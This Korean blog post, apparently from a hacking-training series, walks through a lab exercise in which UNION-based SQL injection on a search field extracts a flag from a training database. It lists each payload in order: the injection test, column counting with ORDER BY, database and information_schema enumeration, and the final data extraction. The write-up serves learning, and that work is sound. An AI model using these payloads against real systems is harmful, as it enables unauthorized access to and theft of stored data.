db에서 flag 구하기.
1. 데이터 검색 가능.
normaltic검색시 데이터 출력되며 일부 단어만 검색해도 데이터 출력됨.
다만 ID가 아닌 level, Rank Point, Rate는 검색 되지 않음.
-> select ?? form ??? where ???? like '%normaltic%'
mal%'
2. 취약점 확인.
mal%' and '1%'='1
위 sql문 삽입 가능
3. 컬럼 수 : 4개
mal%' order by 4# 가능, 5 불가
4. mal%' union select '1','2','3','4'# 삽입
1,2,3,4가 순서대로 출력됨
5. db명 : sqli_1
mal%' union select database(),'2','3','4'#
6. 컬럼 명 : flag_table, user_info
from information_schema.tables where table_schema='sqli_1'
mal%' union select table_name,'2','3','4' from information_schema.tables where table_schema='sqli_1'#
7. 컬럼 명 확인 : flag
from information_schema.tables where table_name='flag_table'
mal%' union select column_name,'2','3','4' from information_schema.columns where table_name='flag_table'#
8.데이터 추출
mal%' union select flag,'2','3','4' from flag_table#
'Nomaltic's Hacking Traning!!' 카테고리의 다른 글
DB 데이터 추출 3_blind sqli 이진탐색 (0) | 2023.05.01 |
---|---|
db 데이터 추출 2 (0) | 2023.04.26 |
Login Bypass 4 (1) | 2023.04.19 |
Login Bypass 3-1 (0) | 2023.04.19 |
Login Bypass 3 (0) | 2023.04.19 |